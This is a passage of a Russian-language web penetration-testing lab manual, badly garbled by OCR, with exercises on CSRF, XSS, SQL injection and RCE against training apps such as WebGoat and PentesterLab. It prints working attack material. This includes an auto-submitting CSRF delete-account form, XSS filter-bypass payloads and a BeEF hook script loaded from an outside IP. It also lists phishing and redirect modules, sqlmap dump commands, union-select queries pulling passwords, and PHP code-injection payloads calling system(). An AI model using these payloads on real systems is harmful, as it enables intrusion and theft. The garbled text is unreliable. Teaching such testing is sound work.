cepBrcoM 1o cokpamenuto URL (manpumep, goo.gl nnm bit.ly).

PexomenayembiM o6muM Metogom 3ammuThl oT atak CSRF sBisiercst meton Synchronizer Token
Pattern, ocoBaHHbII1 Ha UCIIOJIB30BAHKE CIIy4YailHbIX TOKEHOB [15]. HepekoMenayeMbiMu MeTO1aMu
s3amuThl OT atak CSRF sBistrores:

— npoBepka HTTP-3aronoska Referer;
— nposepka Hanmuug HTTP-3aronoBka X-Requested-With;
— HCIIOJIb30BaHUE JIOTIOJIHUTEIBHBIX ICHCTBUI TOJIB30BATEINS IS IIOATBEPKICHHUS,
— ucnoap3oBaHue 3arojoBka Cookie (Meroxa 3amuthl «Double submit cookiesy);
— OTIpaBKa HECKOJBKHX 3aIIPOCOB;
— ucnonns3oBanue meroga POST.

[Tpu peanuzanuu 3ammtel oT atak CSRF B nepByto ouepens TpedyeTcst yoeauTbes, 4To
MIPUIIOKEHNE HE COJIEPHKUT YSI3BUMOCTEH, MO3BOJISAIOIIMX MPOBECTH aTaky XSS, Tak Kak IOYTH BCe
Mepsbl nnpotuBojieiicTBus atakam CSRF MoryT ObITh IPeo10JIeHbl Yepe3 HCIIOIb30BaHUEe JaHHOM
YSI3BUMOCTH.

Kpome Toro, HeoOX0AMMO POBEPUTH, UTO BCE ACHCTBUS, U3MEHSIOIINE COCTOSTHUE BEO-
NPWIOKEHHS (JEUCTBUS 10 U3MEHEHHIO WM YIAJICHUIO PA3JIMYHBIX O0BEKTOB H T.I1.), PEATH3YIOTCS
TOJBKO ¢ ucnonb3oBanueM Metoga POST (6o o6brunbiit POST, mu6o POST uepes AJAX).

Ilocmanoexa 3a0auu
BrinmoaHuTs HACHTH(UKAMIO U SKCIUTyaTaIuio ys3BUMOocTel k arakam CSRF.

Tocreoosamenvrocme Oelicmeui
[ar 1. 3amyctuts BeO-npuioxkenue WebGoat. Bectu norus:

«guest», mapons: «guesty. [lepeiitu o cepuke «Cross-Site Scripting — Cross-Site Request
Forgery». W3yunts ycnoBus 3amaun. Bsectu B mone «Title» 3nauenue «Hello», a B moze
«Message» 3HaueHHe «test». HaxaTth kHOMKY «Submity. [IpocMoTpeTs ¢ momMomeio Burp Suite
WJTM aHAJIOTHYHOTO CPEJICTBA OTIPABJICHHBIN Opay3epoM 3armpoc

Bgectu B moite «Title» 3nauenue «Helloy, a B mone «Message» cneayrommii HTML-kox:

<img src=http://localhost/WebGoat/attack?transferFunds=40 00>

[ar 2. [Tepetitu o ccpiike «Cross-Site Scripting — CSRF Prompt By-Pass». NU3yuunts
ycnoBus 3a1aud. Beectu B mone
«Title» 3nauenue «Hello», a B mone «Message» cienyroumit HTML-kox:

<img src="http://localhost/ WebGoat/attack?transferFunds=4 000"
onerror="1l=document.createElement('img"); il.src="http://localhost/WebGoat/attack ?transferFund
s=CONFIRM"">
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[ar 3. [TpoBepuTh ysI3BUMOCTh BeO-IpuiIoKeHuss www.app.test.com k arakam CSRF. Haiitu
(YHKIIHIO, MEHSIOIIYIO COCTOSIHHE BEO-TTPUIIOKEeHUs. BeImomHUTh 3Ty QyHKuuio. [lpocMoTpeTs
HTTP-3anpoc. Y nanmute u3 Hero 3aronoBku Referer u X-Requested- With (ecniu oru nmerores).
[IpoBeputs, uto B 3anpoce ucnonbzyercs meros POST. [IpoBepuTh Hanuuue B 3ampoce napamerpa,
cootBetcTBytomero CSRF-tokeny (on moxker HasbiBaTbess CSRF token, CSRFToken,
authenticity token). I[Ipunoxenue ya3sumo k atake CSRF, ecnu ycrieniHo BHIIIOIHEH OJIUH U3

CICOYIOIUX TCCTOB!:

— 3amnpoc He cofepkuT CSRF-TOKeHOB B crielMaibHBIX 3aroj0BKax M MmapaMerpax (Gopmbl, a
3aronoBku Referer u X-Requested-With Mo- ryT ObITH yJalieHbl U3 3alpocoB 0€3 HapyILIEHHS
(YHKIMOHAJIBHO- CTH MPHIIOKEHHUS;

— 3ampoc coaepxxkut CSRF-TokeH, HO OCIeTHNN MOXKET OBITh YJaJlIeH u3-3ampoca 6e3
HapylieHus (yHKIIMOHAIILHOCTH MPUIIOKECHHUS,

— 3ampoc coaepkut CSRF-TokeH, HO 3HAUEHHE TOCIEIHETO MOXKET OBITh JIOOBIM HIIH ITyCThIM;
— CSRF-ToKeH 0IHOTO MOJIH30BATENsI MOKET OBITh UCIOIB30BaH JIPY- TUM MOJ30BaTENIEM;
— CSRF-TOKeH sBasieTCs MPeACKa3yEeMbIM;

— npuioxenue odpadareiBaeT kak POST-3anpocs! ¢ CSRF-Tokenamu, tak 1 GET-3ampocs! 63
CSRF-TOKEHOB;

— cymectByeT hard-coded CSRF-Token miist otnagku u rectupoBanus. Lllar 4. K o6HapyxeHHOI
ysa3BuMocCTH Kk arake CSRF nanucats skcront. Hampumep, IyCTh Uil  yAAJCHUs
YYETHOM  3aluCH

UCIIOJIB3YETCsI CIEYIOIINI 3a1poc:

POST /delete HTTP/1.1 Host: www.app.test.com
Cookie: JSESSIONID=KxwexXHkDqzObNrFnXZN19Lq

\r\n user=test&en=187213&pp=true

Ecnu nannsii 3anpoc He conepkut CSRF-tokeHoB, To s skcruryatanuu CSRF-ys3Bumoct
MOXHO pa3MECTUTh Ha pecypce 3710yMbllUIeHHHKaA cnenyromuii HTML-kox:

<htmlI>
<body>
<form action="http://www.app.test.com/delete" method=POST>
<input type="hidden" name="user" value="test">
<input type="hidden" name="en" value="187213">
<input type="hidden" name="pp" value="true">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

[Tepeiitu Ha BeO-pecypc 3MOYMBINUIICHHUKA, YOSAUTHCS, YTO TOJIe- JTaHHBIN 3a1PpOC
OTMpaBIIAECTCS ¥ 00pabaThIBaeTCs MPUITOKEHUEM.

Bonpocwl u 3a0anus
1. Jlns BeO-npuiioxkeHus, ys3Bumoro k arake CSRF, Hamucathb Kc- MIIOUT, OTIPABIISIONIUIA
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nmaHHbIe THIa multipart/form-data.

2. Jlns BeO-mpuiiokeHus, ys3BUMOro k arake XSS, HamucaTh Ha sizbike JavaScript
SKCILIONT, u3Biekaonmi CSRF-TokeH.

3. Ilokazath, Kak, HCMONb3ys ysA3BUMOCTh K arake CSRF, MOXHO BBITIOJHUTE aTaky XSS.

llouck ysazeumocmeti k amakam XSS

Lenv pabomui
Lenbto mabopaTopHOil paboTHI sIBIIIETCSI 00yUYeHUE METOIaM U CPECTBaM UACHTU(PHUKAIIMU U
SKCIUTyaTaly ya3BUMOCTEN BeO- MPMIOKEHNUH K aTakaM XSS.

Kpamxkue meopemuueckue ceedenus

Araka Cross-Site Scripting (XSS) — 310 aTaka Ha BeO-pUIIOKEHUE, UCTIOIb3YIOIAsk HETOCTATKU
HETPaBWIIbHOW 00pabOTKH JTAaHHBIX U TTO3BOJISIONIAS BRITIOJTHUTE TIPOU3BOJIBHBIN ClIeHApUiT
(JavaScript, VBScript) B KOHTeKCTE UCTOUHHUKA (Origin) ysA3BUMOI0 BeO- MPUIIOKEHHUS.

Ataku XSS kmaccupuIUpyrOTCs 10 BEKTOPY U Croco0y Bo3aeicTBus. [1o BeKTOpy BO3IeHCTBUS
ataku XSS OpBaroT oTpaxeHHbIMU (reflected), ycToitunBbiMu (persistent) 1 OCHOBaHHBIMU Ha
o0bekTHOM Mozaenu nokymeHTa (DOM-based). [1o BekTopy ataku XSS nensiTcs Ha aKTUBHBIE U
MaCCUBHBIE.

VYceronunBas ataka XSS — 310 XSS araka, B pe3yJibTaTe KOTOPOH BBEIACHHBIN
3JI0YMBIIIJICHHUKOM KOJI COXpaHseTcsl Ha BeO-cepBepe M BO3BpAIaeTCsl MOIb30BATENIO B 3aIIpOCce
HE COZIepIKallleM BEKTOp aTaKH.

Otpaxennas araka XSS — XSS aTtaka, B pe3ynbTrare KOTOPOH KO, BBEACHHBIH 310yMBIIUIEHHUKOM,
HepeaaeTcs MoIb30BaTel0 B OTBETE HA TOT )K€ 3aIPOC, B KOTOPOM NE€peJaH BEKTOP aTaKH.

Araka XSS, HazeiBaetcst DOM-based, eciii Koj 37I0yMBITITIEHHUKA MOKET OBITh BHITIOJTHEH B
Opays3epe ImoJyib30BaTess 03 OTIPABKHU 3alpoca Ha cepBep BEO-TTPHIIOKEHUS.

B pesynbrate ycnemHon peainzanuu atakd XSS 310yMBIITUICHHUK MOYET BBIMIOJIHUTD,
HampuMep, cleAyolue AeHCTBUS:

— TEepeHanpaBUTh NOJIb30BaTEIs HA JII0OOOH BeO-CallT;

— MOJYYHTh ayTeHTH()HUKAIMOHHBIC JAaHHBIC MTOJIb30BaTEs, repena- ompecs B Cookie;

— HOJYYUTH JHO6BI€ JAaHHBIC, K KOTOPBIM HMECT AOCTYI KIIMCHTCKAA 4aCTb BC6-HpI/IJIO)K€HI/I$I;
— MOJIYYUTb JOCTYII K BHYyTPEHHEU CETHU I0JIb30BATEIS;
— BBIIOJIHUTE Deface BeO-caiita U T.1I.

B 00mieMupoBoii MpakTHKE TECTUPOBAHUS 3AIIUIIICHHOCTH BEO- IPUIIOKEHUH B KAYECTBE
JI0Ka3aTeNIbCTBA YS3BUMOCTH MPUIOKECHHS K aTake XSS NMpUHATO 1EMOHCTPUPOBATH BO3ZMOKHOCTh
BhITIOJIHeHUS JavaScript-kona Buaa alert(1), prompt(/XSS/), confirm(0) u T.11.

[Ipu TecTUpoBaHUM HAIMYUSA YA3BUMOCTH K aTakaM XSS Ba)KHO OMPEJIEsATh KOHTEKCT, B
KOTOpPBIN BhIBOJATCS AaHHbIE. CyllecTBYIOT cienyromue Buabl kontekctoB: HTML, SCRIPT,
STYLE, URL wu at- puOythsIii [16]. Hike npuBenens npumepbl XSS-BEKTOPOB IS KaXk- JIOT0 U3
KOHTEKCTOB:

<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name=";alert(1).";</script>

<a href="javascript:alert&lpar;1rpar;">ClickMe</a>
<div class=""onmouseover="alert(1);">...</div>
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<div syle="width:expre/**/ssion(alert(1))">...</div>

Ilocmanoska 3adaqu
BbImonHUTh MIeHTH()UKALINIO U SKCIUTyaTalHIo yA3BUMOCTEH K arakaM XSS.

Ilocneoosamenvrnocmye Oelicmsuii
[ar 1. Cxauats 00pa3 «Web For Pentesters» ¢ BeO-caiita www.pentesterlab.com. Co3nath
BHUPTYaJIbHYIO MAIIMHY. 3arpy3uThes ¢ AUcKa. B Opays3epe OTKpHITh BEO-TIPHUIIOKEHUE.

[ar 2. [Tepetitu 1o ccriike «XSS — Example 1». [Ipoananu3upoBaTth JOTHKY
(GyHKIMOHMPOBaHUS BeO-priiokeHus. OnpenenuTs KOHTEKCT BO3MOXKHOM ataku XSS. B kauecTse
MepeMEeHHOI name BBECTU BEKTOP

<script>alert(1)</script>

[ar 3. [Tepetitu 1o ccruike «XSS — Example 2». [Ipoananu3upoBath JOTUKY
(GyHKIMOHMPOBaHUS BeO-npriiokeHus. Onpenenuts KOHTEKCT BO3MOXKHOM ataku XSS. B kauecTse
NEpPEMEHHON name BBECTU BEKTOP

<script>alert(1)</script>

Y6enutncs, 4To coBO script puiIbTpyercs. BBectu BekTop

<ScRipT>alert(1)</sCrlpT>

[ar 4. Ilepeiitu no ccpuike «XSS — Example 3». [Ipoananu3upoBath J0ruKy
(GyHKIMOHMPOBaHUS BeO-npuiiokeHus. Onpenenurs KOHTEKCT BO3MOXKHOM ataku XSS. B kauectse
MEPEMEHHOI Name BBECTH BEKTOP

<script>alert(1)</script>

Y6enutncs, 4To coBO <script> Belpe3aeTcs. BBecTu BeKTOp

<scr<script>ipt>alert(1)</s</script>cript>

[ar 5. [Tepetitu 1o ccpuike «XSS — Example 4». [Ipoananu3upoBath JOTUKY
(GyHKIMOHMPOBaHUS BeO-npriiokeHus. Onpenenuts KOHTEKCT BO3MOXKHOM ataku XSS. B kauectse
MepeMEeHHOI name BBECTU BEKTOP

<script>alert(1)</script>

Yoenutbes, 4TO CIIOBO <Script> BbIpe3aeTcsi KOppeKTHO. BBecTn BekTop

<img/src=1 onerror=alert(1)>
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Hlar 6. Iepeiitu mo ccpiike «XSS — Example 5». [Ipoananu3upoBaTh JOTHUKY
(yHKIIMOHUPOBaHUS BeO-nipuiioskeHus. OnpenenuTb KOHTEKCT BO3MOKHOI ataku XSS. B kauectse
IIEPEMEHHON name BBECTU BEKTOPA

<script>alert(1)</script>
<img/src=1 onerror=alert(1)>

Y6enutbces, uTo cioBo alert BeIpe3aeTcsi KOppeKTHO. BBecTH BekTopa

<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%?2b/t(1)/.source; eval(t)">

[ar 7. ITepetitu 1o ccpuike «XSS — Example 6». [Ipoananu3upoBath JOTUKY
¢GbyHKIIMOHUpOBaHUs BeO-mpuiiokeHus. OnpenenuTh KOHTEKCT BO3MOXKHOM ataku XSS. B xauecTBe
TepeMEHHON name BBECTU BEKTOpa

";alert(1);"
</script><script>alert(1);//

[ar 8. Ilepeiitu no cepike «XSS — Example 7». [Ipoananu3zupoBaths J0TUKY
(GyHKIMOHMPOBaHUS BeO-npriiokeHus. Onpenenuts KOHTEKCT BO3MOXKHOM ataku XSS. B kauecTse
[IEPEMEHHOI name BBECTH BEKTOP

";alert(1);"
Y6enuthes, uto cumBoa " kogupyetcst B HTML-cyniHocTs &quot. B kauecTBe nepeMeHHoi name
BBECTH BEKTOP

"alert(1);'

[ar 9. [Tepetitu 1o ccruike «XSS — Example 8». [Ipoananu3upoBath JOTUKY
GbyHKIIMOHUpOBaHMSI BeO-TIpritoskeHus. OnpeieiuTh KOHTEKCT BO3MOXKHOM ataku XSS. BBoaumMbie
JIaHHbIE KOAUPYIOTCA KOppekTHO. M3menuts URL Ha ciepyronuii:

xss/example8.php/"onsubmit="alert(1)

Hlar 10. ITepeiitu mo ccpuike «XSS — Example 9». [Ipoananu3upoBarte JOTUKY
(yHKIMOHMPOBaHUS BeO-npriiokeHus. Onpenenuts KOHTEKCT U TUI BO3MOXKHOM ataku XSS. B
Opay3epe MmepelTH 1o CChUIKE

xss/example9.php#<script>alert(1)</script>.

Yo6enutnces, uro Hukakoro HTTP-3anpoca He oTnpaBisieTcs.

[Mar 11. 3anmyctuts cpeny skciuryatanuu yassumocreid BeEF. Ilepeiitu no cepuike «XSS —
Example 1». B kauecTBe 3HaueHus mapaMeTpa name BBECTH BEKTOP
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<script src="http://1.1.1.1:3000/hook.js"></script>

[Tepetitu B koncons BeEF, BBecTn ctangaptHeie joruH u napois (beef:beef). B paznene «Online
Browser» nomken otoOpaxartbcs Baml Opaysep. Bo Bkinaake «Details» mpocMoTpets nHpopmanuio
o0 Opay3e- pe u kommbioTepe. [lepeiitu Bo Bkiaaky «Commandsy. BIMOIHUTE ciemyromme
KOMaH/Ibl ¥ TIPOAHAIM3UPOBATH TIOTYYEHHBIE PE3yJIbTAThI:

— «Create Alert Dialogy;
— «Redirect Browser», mepeHanpaBuB Mmoib3oBaTenss Ha caiT http://evil.com;
— «Clickjackingy;
— «Clippy»;
— «Fake Notification Bary;
— «Google Phishingy;
— «Pretty Thefty.

Bonpocwi u 3a0anus
1. BolmosHuTh BCe 3a7jaHusl IO MOMCKY YS3BUMOCTEH K aTakaM XSS Ha caiiTe xss-
game.appspot.com.
2. BBINOJIHUTH HECKOJIBKO 3aJaHUM 110 IOUCKY YSI3BUMOCTEN K aTa- kaMm XSS Ha caiite
escape.alf.nu.
3. BBINOJHUTH HECKOJIBKO 33JaHU 10 MOUCKY YSI3BUMOCTEH K aTta- kaM XSS Ha caiite
prompt.ml.

Touck yazeumocmeii k amaxam SQL-injection

Lenv pabomui
Llenpro mabopaTopHoii paboTHI SBIsAETCS 00YYEHUE METO/IaM M CPEACTBaM HACHTU(UKAINN 1
SKCIUTyaTally ysA3BUMOCTEH B BeO- MpritokeHux K arakam SQL-injection.

Kpamxue meopemuueckue ceedenus
Artaxa BHenpenus ornepatopoB SQL (SQL-injection) — 3To BHEApeHNE BO BXOIHBIE TAaHHEIE,
oOpabaTbiBaeMble BEO-NIPHIIOKEHHEM, OIIepaTopoB sA3bika SQL.

Heo6xomumbIm ycioBrueM ys3BUMOCTH K atake SQL-injection sBiisieTcst HeI0CTaTOYHAS
00paboTKa BXOJHBIX HEOBEPEHHBIX JAHHBIX MPH GOPMUPOBAHUU BeO-MpriiokeHneM SQL-
3aMpoCcoB, 3aBUCALINX OT 3TUX JaHHBIX. ATaka SQL-injection mo3BOJIAET 370YMBILUIEHHUKY
MOJTyYUTh HEMOCPEACTBEHHBIN TOCTYI K JaHHBIM yepe3 Mexanu3smbl CYB/l B 06x01 j10TuKy BeO-
TIPUIIOKEHUSI.

B 3aBucumoctn ot ucnonszyemoil BeO-npunoxxenuem CYBJ] 1 ycioBuil BHepeHMs! BBLACTSAIOT
cienyromme pazHoBuaHocT arak SQL-injection [17]:

— KJIACCHYECKas,;
— «cuenas» Tana boolean-based;
— «crenas» Trana time-based;

— error-based;

— BIIO)KCHHA,
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— (parmeHTUpOBaHHAS.

PaccmoTtpum  mpumepsl 0a30BbIX TECTOB, 00HapYKUBAIOIINX YSI3BUMOCTh
napamerpa id k atake SQL-injection:

http://www.test.app.com/index?1d=1"
http://www.test.app.com/index?id=1"

— http://www.test.app.com/index?id=1" order by 1000
http://www.test.app.com/index?id=1"--

http://www.test.app.com/index?id=1'/*
http://www.test.app.com/index?id=1"#
http://www.test.app.com/index?id=1 and 1=1--

http://www.test.app.com/index?id=1 and 1=2—
— http://www.test.app.com/index?id=1" and '1'='1
http://www.test.app.com/index?id=1" and '1'="2

Ilocmanoska 3a0ayu
BrimonHuTs MACHTUGUKAINIO U SKCIUTyaTaIUIo YA3BUMOCTEHN Kk arakam SQL-injection.

Ilocneoosamenvrnocme Oelicmsuii
Hlar 1. Ckayats 00pa3 «Web For Pentesters» ¢ Be6-caiita www.pentesterlab.com. Co3natsb
BUPTYyaJIbHYIO MalIMHYy. 3arpy3uThcs ¢ AUcKa. B Opay3epe OTKpBITh BEO-TIPUIOKEHHE.

[Mar 2. ITepeiitu no cebuike «SQL injections — Example 1». [IpoananusupoBaTh JIOTUKY
(GyHKIMOHMPOBaHUS BeO-npriiokenus. [locienoBaTenbHO BBECTH CIIEIYIONIUE 3apPOChl, o0pariast
BHUMaHHE Ha BBIBOJI BEO-TIPUIIOKEHHUS, CIIENIATh TPEATIOIIOKEHHE O CTPYKTYPE HCIIOIb3YEeMOT0
SQL-3ampoca:

— sqli/examplel.php?name=root'
— sqli/examplel.php?name=root"
— sqli/examplel.php?name=root'%201=1
sqli/examplel.php?name=root'%201=1#
sqli/examplel.php?name=root'%201=1%20—
sqli/examplel.php?name=root'%201=1%20/*
sqli/examplel.php?name=root'%20'1'='1
— sqli/examplel.php?name=root'%20'1'='"2
— sqli/examplel.php?name=root'%23sqli
[Tocnennue Tpu 3arpoca Mo3BOJISIIOT CIENaTh BbIBOA 00 yA3BUMOCTH napaMeTpa name K atake SQL-
injection. BBIMOTHUTE CIIEYIONTYIO KO- MaHIY:

# python sqlmap.py —p name —dmbs=mysql —dump
—u http://IP_address/sqli/examplel.php?name=root

[IpocMoTpeTs pe3yabTaThl pabOTHI MPOTPaMMBbI, TPOCMOTPETH MOJTY- YEHHBIE TaHHbIE U3 0a3bl
JTAHHBIX.

Hlar 2. Iepeiitu no cepuike «SQL injections — Example 2». IIpoananu3upoBats J0ruKy
(byHKIIMOHMPOBaHMA BeO-npritokeHus. [locaeqoBaTeIbHO BBECTH CIIEIYIOIIHME 3alpochl, oOpamias
BHUMaHME Ha BBIBOJI BEO-TIPUIIOKEHHUS, C/IENIATh MPEATONIOKEHHE O CTPYKTYpE HCIIOIb3yeMOTo
SQL-3amnpoca:

— sqli/example2.php?name=root%20and%201=1
— sqli/example2.php?name=root'%09and%09'1'="1
— sqli/example2.php?name=root'%09and%09'1'="2
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— sqli/example2.php?name=root'%2b%2b'
[Tocnennue Tpu 3ampoca Mo3BOJISIOT ClIENaTh BBIBOJ 00 YSA3BHUMOCTH MapameTpa name K atake SQL-
injection. 3amycTuth sqlmap, y0eauTs- cs, 4TO B JAHHOM CJIy4ae OH He CMOT MJIEHTU()UIIUPOBATh
YSI3BUMBIN IapaMeTp.

[ar 3. ITepetitu mo cepiike «SQL injections — Example 3». [Ipoananu3upoBaTh JIOTHKY
¢dbyHKIIMOHUpOBaHUs BeO-mpuiiokeHus. [locnenoBaTenbHO BBECTH CIEAYIONIUE 3ampOChl, oOparias
BHHUMaHHE Ha BBIBOJ] BEO-TIPHIIOKEHUS, CACIATh MPEINOI0KEHUE O CTPYKTYPE UCTIOIB3YEMOTO
SQL-3ampoca:

sqli/example3.php?name=root%20and%201=1

sqli/example3.php?name=root'/**/and/**/'1'="1

— sqli/example3.php?name=root'/**/and/**/'1'="2

— sqli/example3.php?name=root'%2b%2b'
[Tocnennue Tpu 3ampoca Mo3BOJISIOT ClIENaTh BBIBOA 00 YA3BUMOCTH MapameTpa name k arake SQL-
injection. 3amyctuth sqlmap, yoenuTh- csi, YTO B JAaHHOM CJIy4ae OH HE CMOKET UICHTU(UIIUPOBATh
YSI3BUMBII TTapamerTp.

ar 4. Ilepeiit no cebuike «SQL injections — Example 4». [IpoananusupoBaTh JIOTUKY
(GyHKIMOHMPOBaHUS BeO-npuiiokeHus. [locienoBaTenbHO BBECTH CIIEAYIONINE 3alpoChl, oOparias
BHHUMaHHE Ha BBIBOJ] BEO-TIPUIIOKEHUS, CAETaTh MPEANOI0KEHHE O CTPYKType ucnoiabzyemoro SQL-
3arpoca:

sqli/example4.php?id=2

— sqli/example4.php?id=2'

— sqli/example4.php?id=2"

sqli/example4.php?1d=1%2b1

sqli/example4.php?id=0%2b2

sqli/example4.php?id=3-1

[TocnenHue Tpu 3ampoca Mo3BOJIAIOT CIeNaTh BHIBO 00 ysi3BUMOCTH mapametpa id k atake SQL-
injection. BBIMONHUTE CIEMYIONIYI0O KOMaHIY:

# python sqlmap.py —p id —dmbs=mysql —dump
—u http://IP_address/sqli/example4.php?id=1

[IpocmoTpeTh nonydeHHbIe JaHHbIe U3 0a3bl NaHHbIX. [IpocMoTpeTs ucxoanslit kog PHP-ciienapus.

[ar 5. ITepeiitu no cepiike «SQL injections — Example 5». [Ipoananu3upoBaTh JIOTUKY
¢byHKIMOHUpOBaHUs BeO-mipuiiokeHus. [locnenoBarenbHO BBECTH ClEAYIOLIME 3alpocChl, oOparias
BHHUMAaHUE Ha BBIBOJ BEO-IIPUIIOKEHUS, ClIeTaTh MPEANONIOKEHHE O CTPYKTYPE UCTOIb3yEMOI0
SQL-3amnpoca:

— sqli/example5.php?id=2

— sqli/example5.php?id=2'

— sqli/example5.php?id=2"

— sqli/exampleS.php?id=1%2bl

— sqli/exampleS.php?id=0%2b2

sqli/example5.php?i1d=3-1

[Mocnennue Tpu 3ampoca Mo3BOJISIIOT CIeNaTh BBIBOA 00 ysa3BUMOCTH napamMeTpa id k atake SQL-
injection. BBIMONHUTE CEYIONIYI0O KOMaHIY:

# python sqlmap.py —p id —dmbs=mysql —dump
—u http://IP address/sqli/exampleS.php?id=1
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IIpocMmoTpeTh nosydeHHbIe JaHHbIe U3 0a3bl NaHHbIX. [IpocMoTpeTs ncxoanslit kog PHP-ciienapus.

Hlar 6. Iepeiitu no cepuike «SQL injections — Example 5». IIpoananu3upoBate JIOTUKY
(YHKIIMOHUPOBAHUS BEO-TIPHIIOKEHHUS.

[TocnemoBatenbHO BBECTH CICIYIOIIME 3aIpOChl, oOpalias BHUMaHHE Ha BBIBOJI BEO-
MIPUJIOKEHUS, CAEIaTh MPEIIOJIOKEHUE O CTPYKTYpe ucnoiabzyeMoro SQL-3ampoca:

— sqli/example6.php?id=2

— sqli/example6.php?id=2'

— sqli/example6.php?id=2"

— sqli/example6.php?id=1%2b1

— sqli/example6.php?1d=0%2b2

— sqli/example6.php?id=3-1

— sqli/example6.php?id=5-3

[locnennue Tpu 3armpoca Mo3BOJISIOT ClIeNaTh BBIBOA 00 yA3BUMOCTH napamerpa id k atake SQL-

injection. 3amyctuth sqlmap, yoeIuThCs, 4TO B JaHHOM CJIy4yae OH HE MOXET MPOIKCILITyaTHPOBATh
ys3BUMBIN napamerp. I[Ipocmorpers ucxoausiii kox PHP-cuenapus.

Hlar 7. Ilepeiitu no ccpuike «SQL injections — Example 5». IIpoananu3upoBats J0ruky
¢byHKIIMOHNpOBaHUs BeO-mipuiiokeHus. [locnenoBarenbHO BBECTH CIEAYIONIME 3aIpOChl, oOparias
BHUMAaHUE Ha BBIBOJ| BEO-IIPUIIOKEHUS, CCNIATh MPEINOI0KEHUE O CTPYKTYPE UCIOIb3yEMOT0
SQL-3amnpoca:

— sqli/example7.php?id=2

— sqli/example7.php?id=2'

— sqli/example7.php?id=2"
sqli/example7.php?id=1%2b1
sqli/example7.php?id=3-1

— sqli/example7.php?id=2%0Aand%201=1
— sqli/example7.php?id=2%0Aand%201=2
— sqli/example7.php?id=2%0A%23sqli

[Tocnennue Tpu 3ampoca Mo3BOJISIOT ClIeNaTh BbIBOA 00 yA3BUMOCTH napamerpa id k arake SQL-
injection. 3amycTuth sqlmap, yOeauThCs, YTO B TaHHOM CITydae OH HE MOXET MPOIKCILTYyaTHPOBATh
ySI3BUMBII MapameTp. BhIMONMHUTG crenyromue 3anpockl i n3BiaeueHust faHHbix u3 CYB/I:

— sqli/example7.php?id=2%0Aunion%20select?%201

— sqli/example7.php?id=2%0Aunion%20select%201,2

— sqli/example7.php?id=2%0Aunion%20select%201,2,3
— sqli/example7.php?id=2%0Aunion%?20select%201,2,3,4

— sqli/example7.php?id=2%0Aunion%?20select%201,2,3,4, 5
— sqli/example7.php?id=2%0Aunion%?20select%20name, passwd,1,1,1 from users
Py4yHbIMU MeTOJaMU TONYYUTh JaHHBIE M3 0a3bl JaHHBIX.

IIpocmotpers ncxonnsiit ko PHP-cuenapus.

Bonpocwi u 3a0anus
1. C momorpto mporpaMmsl sqlmap uaeHTuUIMPOBaThH YA3BUMBIHN K atake SQL-injection
napameTp u noayuuts conepxumoe CYB/I B cityudae, korja BeO-IpUII0KEHUE 3alpeIacT
WCTOJIb30BaHUE MPOOETIOB BO BXOJAHBIX JaHHBIX.
2. Tloctpoutsh u BeIMOIHUTE SQL-3ampoc, mpuBoOasAIIUi K OTKa3y B 0OCTYKUBAaHUH BEO-
NPUIOKEHUs, yA3BUMOTo K aTtake SQL-injection.
3. Jlns BeG-npuitokeHus, ysa3BUMOro k arake SQL-injection u Mc- NOIB3YIOLIETO I XpaHEHUs
naaaeix CYBJl MySQL, momyuuts co- Aep>kuMoe Ci1ykeOHOH 6a3bl TaHHBIX
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INFORMATION_SCHEMA.

Touck yaseumocmei k amaxkam RCE

Lenv pabomui
Henpro mabopaTopHOii pabOTHI ABNsSETCS 0O0yUEHUE METOAAM M CPEICTBAM UACHTU(DUKAIIH U
JKCIUTyaTalluu ysI3BUMOCTEH BeO- npuiokenuii k atakam RCE.

Kpamkue meopemuueckue ceedenus

Remote Code Execution (RCE) — 310 cobupaTenbHblii TepMHUH, 0003HaYarOIUI KJI1acc aTak,
MPUBOSAIINX K BHIIOJIHEHHIO TIPOU3BOJIEHOTO KOJa BEO-TIPHIIOKEHHEM. ATaKH JAHHOTO KJlacca
BO3MOJKHBI M3-32 HEJIOCTATOYHOIH 00pabOTKH BeO-NIPHI0KEHHEM TT0JIb30BaTEIbCKUX BXOIHBIX
JAHHBIX, TIEPECEKAIOINX TPAHUILY TIOBEPHSL.

Kaxk npaBuio, BeIAEHAIOT caeAyromre ocHOBHbIE pazHoBUaHOCTH atak RCE [18]:
— 3arpy3ka npou3BosbHbBIX (aitnos (Unrestricted File Upload);
— wucrnosb3oBaHue JokanbHbIX (aitnos (Local File Inclusion);

— BHeapenwne koxa (Code Injection);

— oinonHenue koman (Command Injection).

Ilocmanoska 3adauu
BrimonHuTh uaeHTH(UKALINIO U SKCIUTyaTanuio ys3BumMocteil k arakam RCE.

IlocnedosamenvrHocmy Oetlicmeutl

Hlar 1. Ckayats 00pa3 «Web For Pentesters» ¢ Be6-caiita www.pentesterlab.com. Co3nats
BUPTYaIbHYIO MaIlIMHY. 3arpy3HUThCS ¢ AUCKa. B Opay3epe OTKpBITh BeO-IPHIIOKEHHE.

[ar 2. [Tepe#itu o ccepike «Code Injection — Example 1». [Ipoananu3upoBath JOTHKY
(GyHKIMOHUPOBaHUS BeO-TpuiIoKeHus. B kauecTBe nepeMeHHON name BBeCTH 3HaueHue ';&"\V/#|
*(). IIpocmoTtpeth coobmienne 06 ommoke. M3yunts nokymenranuo PHP no dynkmum eval().
BBectu nocnenoBatensHo 3HaueHus 123"."456 u "./*123456*/". B kauecTBe JJOKa3aTeNbCTBA
HaJU4¥sl ySI3BUMOCTH BBECTH 3HaueHue ".system(‘uname -a');".

Hlar 2. Ilepeiitu no cepuike «Code Injection — Example 2». [Ipoananu3upoBaTh JIOTUKY
(GyHKIMOHMPOBaHUS BeO-NpuiIoKeHus. B kauecTBe nepeMeHHON name BBeCTH 3HaueHHe ';&"\/#|
*(). IlpocmoTtpetsb coobiienne o6 ommbke. M3yunts nokymenTtanmio PHP mo gynkimsm
create function() u usort(). BBectu mocnenoBarenbHo 3Hauenus id;}// u id);}//. B xauecTBe
J0Ka3aTeIbCTBA HAIWYNS YSI3BUMOCTH BBECTH 3HAUCHHE

id); } system('whoami');//.

[ar 3. Ilepeiitu no cebuike «Command Injection — Example 1». IlpoananuzupoBats J0ruKy
(GyHKIMOHMPOBaHUS BeO-NpuiIokeHus. B kauecTBe nepemenHoH ip BBecT 3HaueHue 127.0.0.1.
[IpocMoTpeTh BeIBOJ NpuiiokeHHs. B kauecTBe 3HaUeHUS IEpeMEHHOMN 1p BBECTH

